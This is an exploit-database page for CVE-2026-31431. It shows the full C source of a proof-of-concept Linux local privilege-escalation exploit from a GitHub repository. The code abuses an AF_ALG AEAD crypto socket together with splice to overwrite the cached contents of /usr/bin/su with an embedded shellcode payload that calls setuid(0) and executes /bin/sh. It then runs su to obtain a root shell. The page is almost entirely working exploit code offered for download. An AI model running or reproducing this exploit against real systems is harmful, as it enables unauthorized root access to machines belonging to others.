Exploit database

GH-d397d74edd89a933975be3b8215fc8b5

luotian2/cve-2026-31431

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
luotian2/cve-2026-31431Revision d099ec2944b7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp.c

Suggested starting fileC · 5,765 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_alg.h>

/* SOL_ALG is not in standard headers */
#define SOL_ALG 279

/*
 * Decompressed payload (160 bytes) - tiny x86-64 ELF shellcode
 * from zlib.decompress() of the hex blob in exp.py
 */
static const unsigned char payload[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,
    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
    0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00,
};
#define PAYLOAD_LEN (sizeof(payload))

/*
 * do_exploit - one iteration of the AEAD socket exploit
 *
 * fd     : file descriptor of /usr/bin/su (opened O_RDONLY)
 * offset : current byte offset into the payload
 * chunk  : 4-byte slice of the payload
 */
static void do_exploit(int fd, size_t offset, const unsigned char chunk[4])
{
    int                afd, ofd;
    int                pipefd[2];
    struct sockaddr_alg sa;
    unsigned char      key[72];
    unsigned char      msg[8];
    unsigned char      cbuf[256];
    struct iovec       iov;
    struct msghdr      mh;
    struct cmsghdr    *cmsg;
    unsigned char      buf[4096];
    size_t             o;
    loff_t             off_src = 0;

    /* 1.  Create AF_ALG socket (SOCK_SEQPACKET) */
    afd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (afd < 0) { perror("socket"); exit(1); }

    /* 2.  Bind to "aead" / "authencesn(hmac(sha256),cbc(aes))" */
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
    if (bind(afd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind"); exit(1);
    }

    /* 3.  setsockopt(ALG_SET_KEY, 72 bytes) */
    memset(key, 0, sizeof(key));
    key[0] = 0x08; key[1] = 0x00; key[2] = 0x01; key[3] = 0x00;
    key[4] = 0x00; key[5] = 0x00; key[6] = 0x00; key[7] = 0x10;
    if (setsockopt(afd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
        perror("setsockopt KEY"); exit(1);
    }

    /* 4.  setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4) */
    if (setsockopt(afd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0) {
        perror("setsockopt AUTHSIZE"); exit(1);
    }

    /* 5.  accept → operation fd */
    ofd = accept(afd, NULL, 0);
    if (ofd < 0) { perror("accept"); exit(1); }

    /* 6.  Build sendmsg: "AAAA" + 4-byte chunk, plus 3 CMSG headers */
    memset(msg, 'A', 4);
    memcpy(msg + 4, chunk, 4);

    memset(&iov, 0, sizeof(iov));
    iov.iov_base = msg;
    iov.iov_len  = 8;

    memset(&mh, 0, sizeof(mh));
    mh.msg_iov        = &iov;
    mh.msg_iovlen     = 1;
    mh.msg_control    = cbuf;
    mh.msg_controllen = sizeof(cbuf);
    memset(cbuf, 0, sizeof(cbuf));

    /* CMSG 1: type=3 (ALG_SET_OP) - 4 zero bytes */
    cmsg = CMSG_FIRSTHDR(&mh);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_OP;
    cmsg->cmsg_len   = CMSG_LEN(4);

    /* CMSG 2: type=2 (ALG_SET_IV) - 0x10 + 19 zeros = 20 bytes */
    cmsg = CMSG_NXTHDR(&mh, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_IV;
    cmsg->cmsg_len   = CMSG_LEN(20);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x10;

    /* CMSG 3: type=4 (ALG_SET_AEAD_ASSOCLEN) - 0x08 + 3 zeros = 4 bytes */
    cmsg = CMSG_NXTHDR(&mh, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len   = CMSG_LEN(4);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x08;

    /* Set exact controllen */
    mh.msg_controllen = (char *)cmsg + CMSG_SPACE(4) - (char *)cbuf;

    /* MSG_CMSG_CLOEXEC = 0x8000 = 32768 */
    if (sendmsg(ofd, &mh, 32768) < 0) {
        perror("sendmsg"); exit(1);
    }

    /* 7.  pipe + splice */
    if (pipe(pipefd) < 0) { perror("pipe"); exit(1); }

    o = offset + 4;

    /* splice: file → pipe (write end), offset_src=0 */
    if (splice(fd, &off_src, pipefd[1], NULL, o, 0) < 0) {
        perror("splice1"); exit(1);
    }

    /* splice: pipe (read end) → operation fd, no offsets */
    if (splice(pipefd[0], NULL, ofd, NULL, o, 0) < 0) {
        perror("splice2"); exit(1);
    }

    /* 8.  Try to receive (may fail, ignored) */
    recv(ofd, buf, 8 + offset, 0);

    close(ofd);
    close(afd);
    close(pipefd[0]);
    close(pipefd[1]);
}

int main(void)
{
    int    fd;
    size_t i;

    /* Open /usr/bin/su */
    fd = open("/usr/bin/su", O_RDONLY);
    if (fd < 0) {
        perror("open /usr/bin/su");
        return 1;
    }

    printf("[*] Payload: %zu bytes, %zu iterations (4 bytes each)\n",
           PAYLOAD_LEN, PAYLOAD_LEN / 4);

    /* Iterate over 4-byte chunks */
    for (i = 0; i < PAYLOAD_LEN; i += 4) {
        do_exploit(fd, i, payload + i);
    }

    close(fd);

    /* Try to get root */
    printf("[*] Executing su ...\n");
    (void)system("su");

    return 0;
}